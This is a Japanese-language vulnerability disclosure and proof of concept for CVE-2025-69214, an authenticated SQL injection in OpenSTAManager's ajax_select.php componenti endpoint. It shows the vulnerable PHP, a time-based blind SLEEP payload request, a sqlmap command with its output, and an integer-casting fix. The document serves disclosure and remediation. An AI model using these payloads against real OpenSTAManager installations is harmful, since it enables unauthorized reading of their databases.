
CVE-2025-69214 の概念実証。OpenSTAManager の ajax_select.php componenti エンドポイントにおける SQL インジェクションです。脆弱なコード分析、SQLMap を使用した時間ベースのブラインド悪用、是正ガイダンスを含みます。
| 項目 | 詳細 |
|---|
| CVE ID | CVE-2025-69214 |
| 重要度 | HIGH |
| アドバイザリ | アドバイザリを表示 |
| 発見者 | Lukasz Rybak |
ajax_select.php エンドポイントが componenti 操作を処理する際に、SQLインジェクションの脆弱性が存在します。認証済みの攻撃者は、options[matricola] パラメータを介して悪意のある SQL コードを注入できます。
ファイル: modules/impianti/ajax/select.php:122-124
case 'componenti':
$impianti = $superselect['matricola'];
if (!empty($impianti)) {
$where[] = '`my_componenti`.`id_impianto` IN ('.$impianti.')';
}
$_GET['options']['matricola'] → $superselect['matricola']IN() 句に直接連結される手動PoC (時間ベースのブラインドSQLi):
GET /ajax_select.php?op=componenti&options[matricola]=1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND (1 HTTP/1.1
Host: localhost:8081
Cookie: PHPSESSID=<valid-session>

SQLMap による悪用:
sqlmap -u 'http://localhost:8081/ajax_select.php?op=componenti&options[matricola]=1*' \
--cookie="PHPSESSID=<session>" \
--dbms=MySQL \
--technique=T \
--level=3 \
--risk=3
SQLMap の出力:
[INFO] URI parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
Parameter: #1* (URI)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: options[matricola]=1) AND (SELECT 7438 FROM (SELECT(SLEEP(5)))grko)-- SvRI
back-end DBMS: MySQL >= 5.0.12

SQL で使用する前に値を整数にキャストしてください:
修正前:
$impianti = $superselect['matricola'];
if (!empty($impianti)) {
$where[] = '`my_componenti`.`id_impianto` IN ('.$impianti.')';
}
修正後:
$impianti = $superselect['matricola'];
if (!empty($impianti)) {
$ids = array_map('intval', explode(',', $impianti));
$where[] = '`my_componenti`.`id_impianto` IN ('.implode(',', $ids).')';
}
発見者: Łukasz Rybak
この CVE は、協調的な脆弱性開示の慣行に従って責任を持って開示されました。ここに記載されている情報は、教育および防御目的のみを目的としています。